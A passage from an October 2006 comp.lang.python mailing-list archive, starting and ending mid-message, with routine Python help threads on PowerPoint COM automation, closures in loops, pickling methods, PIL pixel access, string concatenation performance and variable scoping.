>     pres = ppoint.Presentations.Add()
>     ppoint.Visible = True
>
>     s1 = pres.Slides.Add(1, win32.constants.ppLayoutText)
>     sleep(1)
>     s1a = s1.Shapes[0].TextFrame.TextRange
>     s1a.Text = 'Python-to-PowerPoint Demo'
>     sleep(1)
>     s1b = s1.Shapes[1].TextFrame.TextRange
>     for i in range(3, 8):
>         s1b.InsertAfter("Line %d\r\n" % i)
>         sleep(1)
>     s1b.InsertAfter("\r\nTh-th-th-that's all folks!")
>
>     sleep(5)
>     pres.Close()
>     ppoint.Quit()
>
> if __name__=='__main__':
>     ppoint()

Thanks! I am not able to try it out yet, but as soon as I
get access to my windows machine, I'll give it a try.


Greetings!
 Fabian



From fredrik at pythonware.com  Sat Oct 28 04:54:11 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 10:54:11 +0200
Subject: Need help (Basic python)...what did I do wrong?
In-Reply-To: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
Message-ID: <ehv5rj$gsu$1@sea.gmane.org>

frankie_85 wrote:

>     a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
> TypeError: 'int' object is not callable

hint: in most programming languages, you have to use an explicit 
operator to spell out multiplication.  Python's no exception.

</F>



From no-spam at no-spam-no-spam.com  Mon Oct  2 06:36:11 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Mon, 02 Oct 2006 12:36:11 +0200
Subject: Python threads and Numeric/SciPy exploit Dual Core ?
Message-ID: <efqq34$22nc$1@ulysses.news.tiscali.de>

Simple Python code obviously cannot use the dual core by Python threads.
Yet, a program drawing CPU mainly for matrix computations - preferably 
with Numeric/SciPy -  will this profit from a dual core when using 2 (or 
more) Python threads?

robert


From larry at hastings.org  Tue Oct  3 13:18:59 2006
From: larry at hastings.org (Larry Hastings)
Date: 3 Oct 2006 10:18:59 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
References: <mailman.932.1159533269.10491.python-list@python.org>
	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>
	<mailman.948.1159542291.10491.python-list@python.org>
	<1159545255.339364.299020@k70g2000cwa.googlegroups.com>
	<mailman.955.1159545644.10491.python-list@python.org>
	<1159546522.251704.301530@b28g2000cwb.googlegroups.com>
	<mailman.956.1159547188.10491.python-list@python.org>
	<1159552048.354214.198180@e3g2000cwe.googlegroups.com>
	<mailman.991.1159599674.10491.python-list@python.org>
	<1159762765.943691.139690@b28g2000cwb.googlegroups.com>
	<mailman.1072.1159766782.10491.python-list@python.org>
	<1159774531.004015.7390@e3g2000cwe.googlegroups.com>
	<1159853705.946422.70220@b28g2000cwb.googlegroups.com>
	<1159855375.951848.195790@m73g2000cwd.googlegroups.com>
	<1159888289.071764.274400@e3g2000cwe.googlegroups.com>
	<1159894194.296766.181670@m73g2000cwd.googlegroups.com>
Message-ID: <1159895939.769126.146630@i42g2000cwa.googlegroups.com>

Istvan Albert wrote:
> I remember a similar patch from some time ago:
> > http://mail.python.org/pipermail/python-dev/2004-August/046686.html

That patch addressed the same general problem, but took a completely
different approach.  For the record, this patch (#980695) optimized "x
+= a" by examining the next instruction after the addition.  If it's a
store instruction, and the object being stored to holds a reference to
the left side of the concatenation, it makes the object drop the
reference *before* doing the concatenation.  In the case where there
was only one reference to the string on the left side (that being "x"),
this allows the string concatenation function to use a very fast
shortcut: resize the left side and concatenate the right side directly
to the end.

The patch was accepted in August of 2004, so it might have been folded
in to CPython during the 2.3 era; certainly it was part of CPython 2.4.

And, happily, that optimization is complimentary to mine.  In my patch,
when the left side only has one reference and it's a "string
concatenation object", it will often have space left in its internal
array of strings objects.   In that case I just append the string.
Speeds things up immensely.

Cheers,


/larry/



From johnjsal at NOSPAMgmail.com  Thu Oct 19 10:26:10 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 19 Oct 2006 14:26:10 GMT
Subject: Classes and Functions - General Questions
In-Reply-To: <hxwZg.111$1n3.3167@news.tufts.edu>
References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
	<hxwZg.111$1n3.3167@news.tufts.edu>
Message-ID: <6WLZg.114$1n3.3048@news.tufts.edu>

John Salerno wrote:
> Setash wrote:
> 
>> And have class2 inherit class1 without any import statements, or need
>> it be imported first?
>> Or need class1 and class2 be both declared in the same .py file if
>> there is inheritance?
> 
> If the classes are in the same module, you don't need to do any 
> importing or qualification. If they are in separate modules, you need to 
> import the necessary module(s) and then you can use its contents.

Quick clarification: even if you import a module, you still need to 
qualify a call to its attributes:

----
import sys

print sys.version   #not 'print version'
----


But you can use the 'from <module> import <attribute>' format to avoid this:


----
from sys import version

print version
----

But this is very bad to do. The recommendation that I like is to only 
use from/import when you want a module from a package, not when you want 
classes, methods, etc. from a module.


From simon at brunningonline.net  Mon Oct  2 11:22:30 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Mon, 2 Oct 2006 16:22:30 +0100
Subject: How to coerce a list of vars into a new type?
In-Reply-To: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
References: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
Message-ID: <8c7f10c60610020822n2b62ce97m52c6f08c66adb89f@mail.gmail.com>

On 10/2/06, Matthew Wilson <matt at tplus1.com> wrote:
>
> I want to verify that three parameters can all be converted into
> integers, but I don't want to modify the parameters themselves.
>
> This seems to work:
>
>     def f(a, b, c):
>
>         a, b, c = [int(x) for x in (a, b, c)]
>
> Originally, I had a bunch of assert isinstance(a, int) statements at the
> top of my code, but I decided that I would rather just check if the
> parameters can be converted into integers.
>
> The new a, b, and c are all different objects, with different id values.
> Anyhow, this all seems like black magic to me.  Can anyone explain what
> is going on?

You've re-bound the names "a", "b" and "c" to new objects, so
naturally they have different ids. If you leave out the "a, b, c ="
bit, you'll leave the original names bound to the objects that have
been passed into your function as arguments.

> Is it as simple as call-by-value?

The "call-by-whatever" concepts don't really apply to Python very well
- any attempt to do so seems to result in more confusion than anything
else.

I'd recommend you take a look at
<http://effbot.org/zone/python-objects.htm>. it explains everything
far better than I could.

-- 
Cheers,
Simon B,
simon at brunningonline.net


From nomail at nixmail.com  Sat Oct  7 10:29:16 2006
From: nomail at nixmail.com (DarkBlue)
Date: Sat, 07 Oct 2006 22:29:16 +0800
Subject: Kde Taskbar
References: <4527a4ae@127.0.0.1> <9e952$4527b80c$54d1d767$27208@news.chello.no>
Message-ID: <4527b9bc@127.0.0.1>

David Boddie wrote:

> On Saturday 07 October 2006 14:59, DarkBlue wrote:
> 
>> In linux I use kmail as my email client under KDE,
>> if a message comes in the Kontact button in the
>> taskbar changes to blue.
>> How can I have the same behaviour in a python app ?
> 
> You need to activate the window associated with the application.
> 
>> I have a python script which runs nicely under linux
>> now every so often I want to be notified by some event,
>> in this case that a record has been added to a database
>> and I want to have the application button in the taskbar
>> to change color
> 
> If the script is running in a console, you'll need to activate
> the window containing the console. I tried doing this by accessing
> konsole's DCOP interface, but couldn't find a suitable method to
> call. If you know which konsole your script is running in, you might
> find that you can raise the window with
> 
>   dcop konsole-<pid> konsole-mainwindow#1 raise
> 
> where <pid> is the process ID of the konsole. This might have the
> effect of causing its taskbar button to change color. You can find
> information about the konsole from the KONSOLE_* environment
> variables.
> 
> It would be good if konsole had a DCOP method that enabled you to
> activate its window, or if kicker exported an interface for the
> taskbar, or even if kwin had some way of letting you activate a
> window given its ID. Unfortunately, I couldn't find methods for
> any of these, so you would have to think about using PyKDE to get
> at this functionality.
> 
> It would be good if someone could prove me wrong on any of this. ;-)
> 
> David

My python app actually is a pythoncard app
which I hope will make things easier.

Db


From Luwian at gmail.com  Mon Oct 23 19:14:49 2006
From: Luwian at gmail.com (Lucas)
Date: 23 Oct 2006 16:14:49 -0700
Subject: How to get each pixel value from a picture file!
In-Reply-To: <mailman.1021.1161644257.11739.python-list@python.org>
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>
	<mailman.1013.1161637584.11739.python-list@python.org>
	<1161643563.111993.109480@b28g2000cwb.googlegroups.com>
	<mailman.1021.1161644257.11739.python-list@python.org>
Message-ID: <1161645289.453600.107140@h48g2000cwc.googlegroups.com>

:)

1)I just copy the tutorial to run "print pix[44,55]". I really dont
know why they wrote that?!


2) i think putpixel((44, 55), (0, 0, 0)) and putpixel((44,55),0) is
same.

thank you  again. I think I have solved my problem.

Steve Holden wrote:
> Lucas wrote:
> > Thank you for your answer.
> >
> > I have some new questions:
> >
> > 1)  the value of return from getpixel() is a RGB number?
> >          print im.getpixel((44,55))   ----> (160,160,160)
> >
> Yes, that's an RGB tuple.
>
> > 2) I want to put a number into the picture for encryption(replace least
> > significant bit (LSB) of image intensity with message bit).
> >
> >     If i use putpixel((44,55),0) , the number 0 will be changed RGB
> > value or others.?
> >
> I think you'd need to use
>
>      putpixel((44, 55), (0, 0, 0))
>
> but it's easy enough to try out interactively ...
>
> > 3)         pix = im.load()
> >             print pix[44,55]
> >             pix[44, 55] = value
> >  my python cannt identify "[x,y]" ??
> >
>
> Now what makes you think that an image can be addressed that way? I'd be
> quite surprised if yo got anything other than a TypeError doing that.
>
> regards
>   Steve
> --
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden



From horpner at yahoo.com  Sat Oct  7 07:25:59 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Sat, 07 Oct 2006 11:25:59 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<mailman.1481.1160185112.10491.python-list@python.org>
	<1160187962.696186.30450@h48g2000cwc.googlegroups.com>
Message-ID: <b9MVg.5056$5i7.3643@newsreading01.news.tds.net>

On 2006-10-07, MonkeeSage <MonkeeSage at gmail.com> wrote:
>
> On Oct 6, 8:34 pm, Neil Cerutti <horp... at yahoo.com> wrote:
>> And in the original case, I'd agree that "if X.has_key():" is
>> quite clear, already yielding a boolian value, and so doesn't
>> need to be tested for if it's False. But I wouldn't like to
>> test for an empty list or for None implicitly.
>
> I agree that predicates are explicit in themselves, if they are
> named intuitively like "has_key". I assumed that the OP was
> upset about "is False" not that an explicit check was done on a
> predicate method.

And that's something that I'd never have written, and wouldn't
have recognized as a bug until this thread. I can hear the gears
clicking in there now. Thanks to you and other that explained
this bug properly.

-- 
Neil Cerutti


From john106henry at hotmail.com  Wed Oct  4 15:53:32 2006
From: john106henry at hotmail.com (John Henry)
Date: 4 Oct 2006 12:53:32 -0700
Subject: Find out the name of a variable passed as an argument
In-Reply-To: <mailman.1284.1159989537.10491.python-list@python.org>
References: <mailman.1284.1159989537.10491.python-list@python.org>
Message-ID: <1159991612.249497.91160@b28g2000cwb.googlegroups.com>

Algol, anyone?


Andreas Huesgen wrote:
> Hello everybody,
>
> is there a way to receive the name of an object passed to a function
> from within the function.
>
> something like
>
> def foo(param):
> 	print theNameOfTheVariablePassedToParam
>
> var1 = "hello"
> var2 = "world"
>
>  >>> foo(var1)
> var1
>
>  >>> foo(var2)
> var2
> 
> thanks in advance,
> 
> greets
> 
> Andreas Huesgen



From onurb at xiludom.gro  Fri Oct 13 04:43:14 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 13 Oct 2006 10:43:14 +0200
Subject: Python component model
In-Reply-To: <mailman.308.1160564020.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><pan.2006.10.09.18.24.45.251048@gmx.net><452b7aae$0$306$426a74cc@news.free.fr>	<eghai4$615$1@online.de>	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
	<mailman.308.1160564020.11739.python-list@python.org>
Message-ID: <452f51a3$0$30999$426a74cc@news.free.fr>

Fredrik Lundh wrote:
> Paul Boddie wrote:
> 
>> Meanwhile, the Web programming standardisation scene remains
>> stagnant.
> 
> Aw, come on.  The Python web programming standardisation wars are over, for now.
> There's Django, and there's TurboGears, 

And there's Pylons...

> and there's Zope 2/3, all with slightly different
> approaches, and slightly different target audiences.  Unless you're doing really odd things,
> one of these will be more than good enough for your application.
> 
> (as for WSGI, it's plumbing. You can of course build fun things from spare parts and
> plumbing, and there are really interesting things going on in certain research labs, as usual,
> but if you want turn-key stuff, pick one of the big three.)
> 
> </F> 
> 
> 
> 


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From jcoleman at franciscan.edu  Wed Oct 18 14:21:14 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 18 Oct 2006 11:21:14 -0700
Subject: Win32 python and excel macros
In-Reply-To: <1161187565.132670.60320@f16g2000cwb.googlegroups.com>
References: <1161180798.760994.111230@k70g2000cwa.googlegroups.com>
	<1161186121.020753.20810@b28g2000cwb.googlegroups.com>
	<1161187257.657252.87000@m73g2000cwd.googlegroups.com>
	<1161187565.132670.60320@f16g2000cwb.googlegroups.com>
Message-ID: <1161195674.458049.319440@m73g2000cwd.googlegroups.com>


Mike P wrote:
> After just running trying that update it hits the macro perfectly but
> hten i get an error message after i type in a couple of values.. as per
> below
>
> Traceback (most recent call last):
>   File "<string>", line 148, in ?
>   File "<COMObject <unknown>>", line 14, in Run
>   File "C:\Python24\Lib\site-packages\win32com\client\dynamic.py", line
> 258, in _ApplyTypes_
>     result = self._oleobj_.InvokeTypes(*(dispid, LCID, wFlags, retType,
> argTypes) + args)
> pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, None,
> None, None, 0, -2146827284), None)
>
>
> I know you said you didn't know much about python, so if any other
> experts outthere can give me a clue.. i'll be very appreciative
>
> Mike

Mike,

Maybe you can use a little error handling in the VBA code to see if the
error is in the VBA or in the Python (or both)

At the top of  the sub that you call put the line

On Error GoTo err_handler

and at the bottom of the sub (right before the end sub) put:

err_handler:
  If Err.Number > 0 Then
    MsgBox "Error " & Err.Number & ": " & Err.Description
  End If

This will also give you some idea of what the error is from VBA's
perspective (although the error descriptions are not always very
informative).

HTH

-John Coleman



From jstroud at mbi.ucla.edu  Sat Oct 28 22:12:58 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sun, 29 Oct 2006 02:12:58 GMT
Subject: Name bindings for inner functions.
In-Reply-To: <4543ddbe$0$3210$4fafbaef@reader2.news.tin.it>
References: <1162072141.571008.296670@h48g2000cwc.googlegroups.com>
	<4543ddbe$0$3210$4fafbaef@reader2.news.tin.it>
Message-ID: <K6U0h.16963$GR.13914@newssvr29.news.prodigy.net>

Andrea Griffini wrote:
> trevor_morgan at yahoo.com wrote:
> 
>> The following code:
>>
>> def functions():
>>     l=list()
>>     for i in range(5):
>>         def inner():
>>             return i
>>         l.append(inner)
>>     return l
>>
>>
>> print [f() for f in functions()]
>>
>>
>> returns [4,4,4,4,4], rather than the hoped for [0,1,2,3,4].  I presume
>> this is something to do with the variable i getting re-bound every time
>> we go through the loop, or something, but I'm not sure how to fix this.
> 
> 
> The problem is that "i" inside the function is indeed
> the same variable for all the functions (the one you're
> using for looping).
> 
> If you want a different variable for each function
> you can use the somewhat ugly but idiomatic
> 
> def functions():
>     l=list()
>     for i in range(5):
>         def inner(i=i):
>             return i
>         l.append(inner)
>     return l
> 
> this way every function will have its own "i" variable,
> that is initialized with the value of the loop variable
> when executing the "def" statement.
> 
> Andrea

Yet another way to skin the same cat, maybe even less ugly, depending on taste.

def make_inner(i):
   def inner():
     return i
   return inner

def functions():
   return [make_inner(i) for i in range(5)]

print [f() for f in functions()]

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From rtw at freenet.co.uk  Tue Oct  3 07:06:05 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Tue, 03 Oct 2006 06:06:05 -0500
Subject: Raw strings and escaping
References: <mailman.1152.1159872720.10491.python-list@python.org>
Message-ID: <Xns98517AE69B894rtwfreenetREMOVEcouk@216.196.109.145>

Matthew Warren wrote in news:mailman.1152.1159872720.10491.python-
list at python.org in comp.lang.python:

> I would expect this to work,
> 
> rawstring=r'some things\new things\some other things\'

It in the docs:

<url:http://docs.python.org/ref/strings.html#l2h-14>

...  Specifically, a raw string cannot end in a single backslash (since the 
backslash would escape the following quote character). Note also that a 
single backslash followed by a newline is interpreted as those two 
characters as part of the string, not as a line continuation. 

Rob.


From orsenthil at gmail.com  Thu Oct 12 13:52:13 2006
From: orsenthil at gmail.com (Phoe6)
Date: 12 Oct 2006 10:52:13 -0700
Subject: strings in the global section
In-Reply-To: <4p7dbsFh384nU1@individual.net>
References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com>
	<4p7dbsFh384nU1@individual.net>
Message-ID: <1160675533.899350.281040@i42g2000cwa.googlegroups.com>

Bjoern Schliessmann wrote:
> If you assign "astring" inside the function body, it's a local name.
>
> > - What should I do to overwrite the string variable in the global
> > section within functions?
>
> Put a "global astring" in the function to access the global name
> instead.

#!/usr/bin/python
global astring
astring = "This is a String"

def fun1():
        global astring
        astring = "I modify it in fun1"
def fun2():
        global astring
        astring = "I modify it in fun2"
def main():
        print astring
        fun1()
        print astring
        fun2()
        print astring
if __name__ == '__main__':
        main()
~


~                         
Works, but something different ?



From baur79 at gmail.com  Thu Oct 26 02:57:02 2006
From: baur79 at gmail.com (baur79 at gmail.com)
Date: 25 Oct 2006 23:57:02 -0700
Subject: python html 2 image (png)
In-Reply-To: <4q9l3cFm97ffU1@uni-berlin.de>
References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>
	<mailman.1155.1161764711.11739.python-list@python.org>
	<1161778587.501281.92320@h48g2000cwc.googlegroups.com>
	<4q9l3cFm97ffU1@uni-berlin.de>
Message-ID: <1161845822.338404.197410@f16g2000cwb.googlegroups.com>

thanks Diez
i will start with your suggestions

let see what happen

On Oct 25, 11:27 pm, "Diez B. Roggisch" <d... at nospam.web.de> wrote:
> bau... at gmail.com schrieb:
>
> >> what tools are you using to do that today?
>
> > where are many of EXE programs
> > but i need python solution for adding it to my automate program under
> > lunixWhatever lunix is, under linux, a popular free OS you could e.g. use
> PyKDE and let Qt render a KHTML-component into an image.
> 
> Diez



From steve at holdenweb.com  Tue Oct 24 20:02:53 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 01:02:53 +0100
Subject: [0T] Re: Simple python + html + from --> to python script
In-Reply-To: <453e9176$0$8665$426a34cc@news.free.fr>
References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
	<453e9176$0$8665$426a34cc@news.free.fr>
Message-ID: <ehm9hb$o8i$2@sea.gmane.org>

Bruno Desthuilliers wrote:
> flit a ?crit :
> 
>>Hello All,
>>
>>I am trying to get information from a form and send it to a python
>>script without success..
>>Here is my objective:
>>
>>User enters data in form --> form send variables to python script -->
>>script runs and output result.
> 
> 
> <OT topic="HTTP">
> If the script has side-effects (adding/updating/deleting database 
> records, writing files, etc), the script should not "output results", 
> but redirect to another url where the user can see these results.
> 
> Else - if the script doesn't have side-effects (ie :a search form, ...), 
> then the HTTP method should be "GET", not "POST".
> </OT>
> 
>>the form code
>>
>><form method="post" action="/cgi-bin/script.py" name="coord">Entre com
>>os dados <input name="data1"><br>
>>
>>Entre com os dados <input name="data2"><br>
>>Vai magraum <button name="submete"></button></form>
> 
> 
> <OT topic="HTML">
> button elements don't submit the form - they in fact don't do anything 
> unless you attach behaviour to them with javascript. What you want here 
> is an input type='submit'.
> 
> Also, the "button" tag doesn't require a end tag.
> 
> <form method="POST" action="/cgi-bin/script.py" name="coord">
> <label for="data1">Entre com os dados</label>
> <input type="text" name="data1" id="data1"><br>
> 
> <label for="data2">Entre com os dados </label>
> <input type="text" name="data2" id="data2"><br>
> Vai magraum <input type="submit" name="submete">
> </form>
> </OT>
> 
> (cf Steve's answer and the cgi module's doc for your problem)

So what problem were you talking about?

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From chtaylo3 at gmail.com  Tue Oct 24 14:22:22 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Tue, 24 Oct 2006 14:22:22 -0400
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <453e56f2$0$30357$9b622d9e@news.freenet.de>
References: <mailman.706.1161192807.11739.python-list@python.org>
	<45386B4C.4020001@v.loewis.de>
	<mailman.999.1161629807.11739.python-list@python.org>
	<453d4821$0$22566$9b622d9e@news.freenet.de>
	<mailman.1025.1161646957.11739.python-list@python.org>
	<453DA645.2090009@v.loewis.de>
	<mailman.1099.1161709658.11739.python-list@python.org>
	<453E4C49.4000401@v.loewis.de>
	<mailman.1102.1161712524.11739.python-list@python.org>
	<453e56f2$0$30357$9b622d9e@news.freenet.de>
Message-ID: <2590773a0610241122n59e6e309xa2cba256c9fede18@mail.gmail.com>

> Ok. One solution might be to remove the libdir option, then. Python
> attempts to be "movable", i.e. the libraries are found relative to
> the executable (via dirname(sys.executable)+"../lib/..."). If
> libdir is supported, this approach must be given up - or libdir must
> be given up.

Well, honestly, seeings how LIBDIR doesn't do anything ... I can see
the argument for removing it.
However, I would like to propose a more flexible solution: Perhaps a
./configure parameter called LIBLOC or something like that so that
LIBDIR = $(EXEC_PREFIX)/$(LIBLOC).  Of course, LIBLOC should default
to "lib".  This way the flexibility you mentioned above can be
maintained and the 64bit community (which will eventually be the
entire community) can move forward with minimal hassle.

> The Linux distributions already provide Python binaries (I believe
> Redhat does, too). You could study what they do to achieve that.

Yes, this is true ... but they do not package the most up-to-date
version .. which I need.

Respectfully,
Christopher Taylor


From tim.peters at gmail.com  Sun Oct  1 16:37:40 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 1 Oct 2006 16:37:40 -0400
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
Message-ID: <1f7befae0610011337t9283a19i5f50d7da32f5c57b@mail.gmail.com>

[charlie strauss]
> Steve, digging into the gc docs a bit more, I think the behaviour I am seeing is still
> not expected.  Namely, the program I offered has no obvious place where objects
> are deallocated.  The way GC is supposed to work is thate there are three levels of
> objects
>
> level0:  newly created objects
> level1:  objects that survived 1 round of garbage collection
> level2:  objects that survivied 2+ rounds of gargbage collection

Yes.

> Since all of my numerous objects are level2 objects,

No.  All newly created objects start in level0.  Over time, most (but
never all) of your objects end up in level 2.

> and none of them are every deallocated, then I should never trip the GC for these.

Cyclic gc scans /all/ container objects at or under level N, whenever
cyclic gc runs.  N varies from run to run of cyclic gc, according to
the scheme described in the docs for the gc.set_threshold() function.
N=2 is certainly a possible value.  There is never a time when a live
container object becomes exempt from all future runs of cyclic gc.  If
a live container object survives two rounds of cyclic gc, it ends up
lin level2.  That doesn't mean it's never looked at again, it just
means it's not looked at during level0 or level1 (N=0 or N=1) runs of
cyclic gc.  It will still be looked at during all level2 (N=2) runs of
cyclic gc.

> Your explanation would require this to be tripped so I can't explain it.  For your
> explanation to be correct then there as to be some non-obvious step in the program
> that is deallocating level2 items in sufficient numbers to trip the GC.

Deallocations never trigger cyclic gc.  As the docs say, cyclic gc is
triggered by an /excess/ of allocations /over/ deallocations.  So,
e.g., if you delete container objects just as fast as you create them,
cyclic gc will never run.  But that's not what you're doing.  Instead
you're allocating new objects but never deallocating them.  That makes
cyclic gc run as frequently as it's possible for it to run.


From sjmachin at lexicon.net  Wed Oct  4 04:42:30 2006
From: sjmachin at lexicon.net (John Machin)
Date: 4 Oct 2006 01:42:30 -0700
Subject: can't open chm files all of a sudden
In-Reply-To: <45233a81$0$30748$c3e8da3@news.astraweb.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
Message-ID: <1159951350.208619.222470@m73g2000cwd.googlegroups.com>

John Salerno wrote:
> John Salerno wrote:
> > Hi all. I apologize since this is only remotely Python related, but I
> > hope someone might now the solution.
> >
> > I tried opening my Python chm docs just now, as well as the one for
> > wxPython, and both are giving me an error dialog when I double-click
> > them and I can't open them. This happened apparently for no reason, just
> > today. I even reset but that didn't help.
> >
> > Does anyone know what might cause this,

Many things might cause an error dialogue -- further info needed.

>>  and if it could affect the rest
> > of Python or wxPython as well?

It could. Depends on what "it" is.  Have you noticed any symptoms of
other problems?

> P.S. Here is part of the error, but not the long detailed section:
>
> AppName: hh.exe	 AppVer: 5.2.3790.2453	 ModName: itss.dll
> ModVer: 5.2.3790.2453	 Offset: 00006bec
>
> The same thing shows up for both files.


1. This is like telling us only the last source file name and line
number in a Python traceback -- not very useful, especially w/o the
source.
Care to tell us what the text of the error message was?

2. Are these events resulting in a dump in your Dr Watson file
(C:\Documents and Settings\All Users\Application Data\Microsoft\Dr
Watson\drwtsn32.log)? Each dump starts with something like this:
"""
Application exception occurred:
        App: C:\Program Files\Hewlett-Packard\HP OfficeJet T
Series\Bin\HPOstr05.exe (pid=2172)
        When: 2/09/2006 @ 05:35:58.515
        Exception number: c0000005 (access violation)
"""
... search for hh.exe

3. Have you been installing other software since this last worked?
Fiddling with your path?

4. Have you done a full virus and spy-ware scan? Do you regularly
install Windows updates from Microsoft?

5. C:\windows\help has many .chm files -- pick a couple at random; do
you get the same problem with them?

6. Fire up a Comamnd Prompt window, and type this in:

\windows\hh \python25\doc\python25.chm
\windows\hh \windows\help\whatever.chm

Any difference to the results from double-click launch method?

...

I suspect that this is a narrowly focussed problem, probably a stuffed
DLL or a DLL conflict. I tried profiling hh.exe opening
c:\python25\doc\python25.chm with the dependency walker, and it visited
a kazillion DLLs before it got to itss.dll and another kazillion after
that till it stopped awaiting user input. If we don't get a clue from
your answers to the above questions, it would probably be worth doing
that on your machine. You could even do it yourself: google "dependency
walker" and follow your nose :-)

HTH,
John



From rijamoria at gmail.com  Thu Oct 12 09:31:19 2006
From: rijamoria at gmail.com (Gasikara)
Date: 12 Oct 2006 06:31:19 -0700
Subject: How to be a good programmers?
In-Reply-To: <1160617780.299662.110480@i3g2000cwc.googlegroups.com>
References: <1160588630.961337.213260@m7g2000cwm.googlegroups.com>
	<1160617780.299662.110480@i3g2000cwc.googlegroups.com>
Message-ID: <1160659879.039277.33500@m73g2000cwd.googlegroups.com>


Eric_Dexter at msn.com wrote:
> rijamoria at gmail.com wrote:
> > I just started to learn python programming because I need to be in the
> > group when google come in Madagascar, So I want to know, what kind of
> > python programming I have to start to learn? Zope?...?
> > Sorry for My english! You can writ me on rijamoria at gmail.com.
> > thanks!
>
> Let me know and I can get you some expierence using some of pythons
> functions that you can build your resume with.  My goal is to be
> featured in csound journal or at least www.csounds.com
>
> https://sourceforge.net/project/showfiles.php?group_id=156455
> http://www.dexrow.com
>
> "He is either a satinist or some kind of programmer with that snake
> book" quote (C) 2006

OKAY, I will look this



From steven.bethard at gmail.com  Fri Oct 20 22:45:57 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Fri, 20 Oct 2006 20:45:57 -0600
Subject: Why can't you pickle instancemethods?
In-Reply-To: <1161380004.714778.152080@m7g2000cwm.googlegroups.com>
References: <1161380004.714778.152080@m7g2000cwm.googlegroups.com>
Message-ID: <453989E5.9070504@gmail.com>

Chris wrote:
> Why can pickle serialize references to functions, but not methods?

Here's the recipe I use::

     def _pickle_method(method):
         func_name = method.im_func.__name__
         obj = method.im_self
         cls = method.im_class
         return _unpickle_method, (func_name, obj, cls)

     def _unpickle_method(func_name, obj, cls):
         for cls in cls.mro():
             try:
                 func = cls.__dict__[func_name]
             except KeyError:
                 pass
             else:
                 break
         return func.__get__(obj, cls)

     import copy_reg
     import types
     copy_reg.pickle(types.MethodType, _pickle_method, _unpickle_method)

There may be some special cases where this fails, but I haven't run into 
them yet.

STeVe


From alistair.king at helsinki.fi  Mon Oct 30 08:07:25 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Mon, 30 Oct 2006 15:07:25 +0200
Subject: dict problem
In-Reply-To: <ei4rsi$r86$02$1@news.t-online.com>
References: <mailman.1163.1161770037.11739.python-list@python.org>	<1161772147.307847.65630@h48g2000cwc.googlegroups.com>	<87y7r4mwso.fsf@benfinney.id.au>	<453F5401.3020607@helsinki.fi>	<87pscgmrp1.fsf@benfinney.id.au>	<4545D637.6000205@helsinki.fi>
	<ei4l99$7tb$1@sea.gmane.org>	<mailman.1485.1162210373.11739.python-list@python.org>
	<ei4rsi$r86$02$1@news.t-online.com>
Message-ID: <4545F90D.3050202@helsinki.fi>

Peter Otten wrote:
> Alistair King wrote:
>
>   
>> the code works great now. I know these things are quite simple to learn
>> from books etc.. but i would be lost without this mailinglist, from lack
>> of time. Hopefully soon i can give something more complicated.
>> I ended up doing the dictionary formatting properly and the new code is:
>>     
>
>   
>> heavy = raw_input("\n\n@@@@@@@@@@@@@@@@@@\n\nPlease enter the heaviest
>> atom for which you obtained percentage values for, but not Oxygen or
>> Hydrogen, ie, 'C', 'N', 'S', 'Br'...: ")
>>
>> def updateDS1v(Fxas, x):
>> if Fxas !=0 and DS1v.get(x)!=None:
>> value = DSvalues.get(heavy)
>> floatvalue = float(value)
>> atoms = DS1v.get(x) + Fxas*floatvalue
>> else:
>> value = DSvalues.get(heavy)
>> floatvalue = float(value)
>> DS1v[x] = Fxas*floatvalue
>>
>> updateDS1v(FCas, 'C')
>> updateDS1v(FHas, 'H')
>> updateDS1v(FOas, 'O')
>> updateDS1v(FNas, 'N')
